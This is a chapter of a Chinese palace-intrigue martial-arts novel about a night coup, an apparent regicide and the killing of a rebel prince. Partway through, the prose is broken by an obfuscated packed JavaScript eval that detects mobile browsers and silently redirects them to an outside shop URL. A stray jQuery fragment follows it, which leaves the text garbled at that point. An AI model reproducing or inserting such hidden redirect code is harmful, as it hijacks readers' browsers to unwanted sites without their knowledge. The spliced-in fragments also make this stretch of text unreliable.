10. 山陵崩
    “先躲起来。”

    褚爻绕到正殿的右侧,与一名刺客打了个照面。

    “这里没人,去别处搜!”

    褚爻颔首,正欲越过他往前走,刺客突然说:“你们面生得很……呃……”

    银芒乍现,刺客的喉咙处没入一枚银针。

    褚爻接住他倒下的身体,轻轻放到地上。

    明彧带着亲卫下了复道,在长乐宫内搜捕刺客。

    江旻晃着偏殿上的铜锁,冲褚爻摇头,“落锁了。”

    俞劭不以为意:“劈开不就好了?”

    “等等!”

    偏殿太小,无法藏身。

    褚爻让几人都卸下不合身的甲胄,“去正殿。”

    “当!”

    褚爻迅速卸掉门锁,踩出进门的脚印,随后跳到廊庑的梁上。

    “上来!”

    “嘉德殿那边有动静!”

    亲卫顺着脚印冲进殿内,无功而返。

    “殿下,里面没人。”

    夜风微凉,轻轻吹过空荡的大殿,让人忍不住打了个寒颤。

    明彧接过顾情递来的半截铜锁,“房梁上看过了吗?”

    “检查过了。”顾情答道,“殿下,会不会有鬼……”

    “你看我像不像鬼?”

    明彧甩袖,走向嘉德殿。

    褚爻屏住呼吸,生怕明彧在廊庑上抬头。

    “吱呀——”

    明彧骤然回头,看向却非门的方向。

    一点火光从朱漆宫门后透出。

    宫门完全打开了,两列宫卫执戟进入长乐宫,身着常服的玄色身影挑着一盏八角宫灯,走在正中。

    “皇叔?”

    明彧向前走去,亲卫们无声聚拢,在他身后列队。

    “阿远?你为何在此?”

    明远手臂抬高,他比明彧矮了一个头,宫灯停在明彧胸前的位置,映出他眼底跳跃的火光。

    是宫灯的倒影,还是别的勃勃火焰?

    “这话该我问皇叔吧?已经宵禁了,皇叔擅闯长乐宫,逗留禁中,可是大罪。”明远弯起眼眸,“若是御史台参您有谋逆之心……”

    “啪!”

    明彧甩了他一巴掌。

    八角宫灯落在地上,半明不灭,纱绢不满沾染尘埃,又滚了一圈,龙凤雕花见了血,火光竟更红艳了。

    “目无尊长!本王是你皇叔,岂由你问罪?”

    宫灯突然灭了。

    长乐宫内最亮的光熄灭了。

    远处又有诡谲的火光直冲天际,像一柄带血的长剑刺破夜色,连成只有在日暮时分才得以见到的火烧云。

    骤亮的光照在明远的侧脸,露出鲜明的红印。

    明远没有对身后的火光表现出任何惊异的神情,捂着脸后退两步。

    火龙从东北角蔓延,燃入明彧眼底。

    明彧气得呼吸都急促起来,恨不得再扇他一掌。

    “孽障!是你让人烧的武库?”

    武库里除了军备,还有无数奇珍异宝,如此大火,恐将毁于一旦。

    “咚,咚!咚,咚!咚,咚!”

    打更声一下又一下,规律地响起。

    又有警钟声穿插其中,一时间杂乱无序。

    明远的喝声随着悠长钟声扩散:“景阳王意图谋反,大逆不道,将他拿下!”

    短兵相接,喧嚣蔓延,先是长乐宫,而后是整个皇宫。

    俞劭跳下地面,疑惑地问:“不是阑入吗?怎么又成谋反了?”

    江旻一边整理衣襟一边答道:“混在仪仗队中的刺客估计是皇子远的人,景阳王于宫中杀人,已经中计了。”

    褚爻落地后先看了眼周围,确认无人才说:“不过史书都是由胜者书写的,死的那个才是叛贼。”

    俞劭若有所思地点头,“我们现在出宫吗?”

    江旻两手一摊:“飞出去吗?这宫墙这么高。”

    鸦青看了眼宫墙,比划道:“三丈,我和公子的轻功可以。”

    褚爻单手抱臂,支着下巴在原地转圈,“就这么飞出去也太显眼了,让我想想。”

    鸦青突然将三人推入嘉德殿,“复道上有人。”

    褚爻快步走至正对复道的窗边,戳开一个小洞。

    “何人在宫中闹事?!”

    复道十步一人,还有复道丞看守,横亘东西两宫的复道原本已经被清理干净了,现在又补上了新的宫卫。

    明远重复了一遍先前的说辞。

    “大皇子慎言!景阳王殿下受诏入宫,谈何谋逆?”

    “哼!”明远毫不手软,连杀两名亲卫,“孤说是,就是!”

    援军见此,带队冲下复道。

    忽的复道北面也冲出一队人,将他们堵死在阶梯上。

    “你们是……长秋宫宫卫?大皇子与宋家,是想要谋反吗!”

    明远丝毫不欲与他废话,两方夹击,明彧这一边很快呈现颓势。

    “若筠,我们不去救景阳王吗?”

    褚爻冷眼旁观:“我们是为天子而来,上次救他只是为了弄清柳如烟的目的,他们一个是皇子,一个是亲王,我救了这个,如何不救另一个?”

    “哒,哒。”

    铁骑踏在青石板路上,发出震耳欲聋的响声,重甲的冷光再次撕裂长夜。

    是屯骑!

    明彧退至援军身旁,“陛下调动了北军五营?”

    援军还未答话,明远率先喝道:“何人胆敢擅自调动北军五营?!”

    回应他的是一个轻佻散漫的语调:“自然是——

    尾音扬起。

    头颅抛起。

    “奉陛下之命。”

    复又落下。

    长枪挥舞,勾出一轮弦月,滚烫的鲜血溅落在明远身上,浇灭万般野心。

    嘶喊声惊穿月夜。

    那人并不避让,驱使马蹄碾过尸体,停在明彧面前,也不下马,居高临下地说:“屯骑校尉,章锐,见过殿下。”

    “章校尉,纵使皇子有错,你也不该……”

    章锐轻笑一声,打断他,“陛下得知宫变,已由甘延等人护送往南朱雀门而去。我即将为你们明氏捐躯殒首,杀个做了叛贼的皇子,怎么了?殿下,也请速速出宫吧。”

    明彧盯着他看了半晌,深吸一口气,叫上所剩无几的亲卫:“撤!”

    偌大的长乐宫,在经过鲜血的洗礼后,又恢复了最初的冷清。

    “宫门开了,我们也走。”

    褚爻等人尾随明彧离去,却见他在半路停下。

    “顾情,你带人从朱雀门离开,我得回玉堂殿看一眼。”

    顾情急眼:“殿下,不可!”

    明彧背对着褚爻,同顾情附耳低语,看不清口型。

    但他说完,便与亲卫分开,折返禁中。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294407|152154||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    褚爻的视线紧随明彧,“跟上去。”

    东宫内的宫卫似乎真的如章锐所说,全部随天子撤走了。

    此处仿佛被隔绝于纷争之外,蝉鸣可闻。

    玉堂殿内盏灯未点,落针可闻,异常幽静。

    明彧的脚步声在室内急促地响起,无端渗人。

    褚爻只见他在龙榻前站定。

    上面有什么?

    实在是太暗了……

    褚爻努力睁大眼睛,看到榻上的轻微凸起。

    她的心跳狠狠漏了一拍。

    寝宫里的奇楠沉香静静燃烧,浓厚的沉香味堵住味觉,似乎将视觉也影响了。

    明彧伫立片刻,离开了玉堂殿。

    他走时的脚步极轻极缓,同来时截然相反,如幽灵般飘走了。

    榻上有人。

    先前的不是错觉。

    褚爻没有听到除自己以外的呼吸声。

    但她还是将手放到榻上之人的鼻尖,再是颈侧、手腕,最终沉默地收回手。

    压抑。

    不知是在压抑颤抖的身体,还是崩溃的情绪。

    褚爻拖着沉重的脚步走出殿内。

    江旻闻到她身上近乎呛人的沉香味,皱起眉头。

    “啊!”

    褚爻陡然一惊,环顾四周,才发现没有看到俞劭。

    江旻扶住迎面扑来的俞劭:“俞卿宁,你在鬼叫什么!”

    “尸体……尸体在动啊啊啊啊啊!”

    “你比活尸还吓人!”褚爻踢了他一脚,“你和阿青去追景阳王,盯紧他!”

    “是。”

    鸦青领命,转身离开。

    褚爻和江旻也往拐角处走去,原地只留下俞劭一人。

    “阿青,等等我!”

    “为何要等?”

    “若筠让我们一起去盯梢啊!”

    “对。但她没让我等你。”

    ……

    拐角处伸出一截染血的手臂,指甲扣进坚硬的石板地里,近乎断裂。

    他还在坚持不懈地往外爬。

    匍匐而过的地面都被染上刺眼的红色,因为看不见伤口,倒像是衣裳褪色留下的痕迹。

    这种以黑红为主的穿着,似乎……先前见到的皇子远也穿过。

    江旻吹燃火折子,想去查看此人的伤势。

    褚爻猛地拉住他。

    江旻不解地回头:“若筠?”

    睿武帝只有三位皇子,大皇子已经死了,若再死一位皇子……

    每位皇子背后的势力错综复杂,如今已是各方派系博弈的结果,救他不仅仅只是救一条人命。

    可第三位皇子死生未卜,万一这是睿武帝最后的血脉,她要如何交代?

    血手攀上月白衣裾,微弱的声音模糊不清:“传国玺……”

    “什么?”

    江旻顾不得脏污,挣开褚爻的手,蹲到他身旁。

    “砰!”

    一股大力将江旻推开,他跌坐在地,还未从这突如其来的变故中回神,便听到一道兵刃入体的声音。

    破甲枪从背后贯穿胸部,将地上的人钉死在地面,他的手还保持着前伸的姿势,却无法再挪动分毫。

    神乐滑至褚爻手中,顷刻延长至三尺。

    “当——”

    铮鸣声骤然打破寂静。

    紧接着是马蹄声、杂乱的脚步声,厮杀正逼近东宫。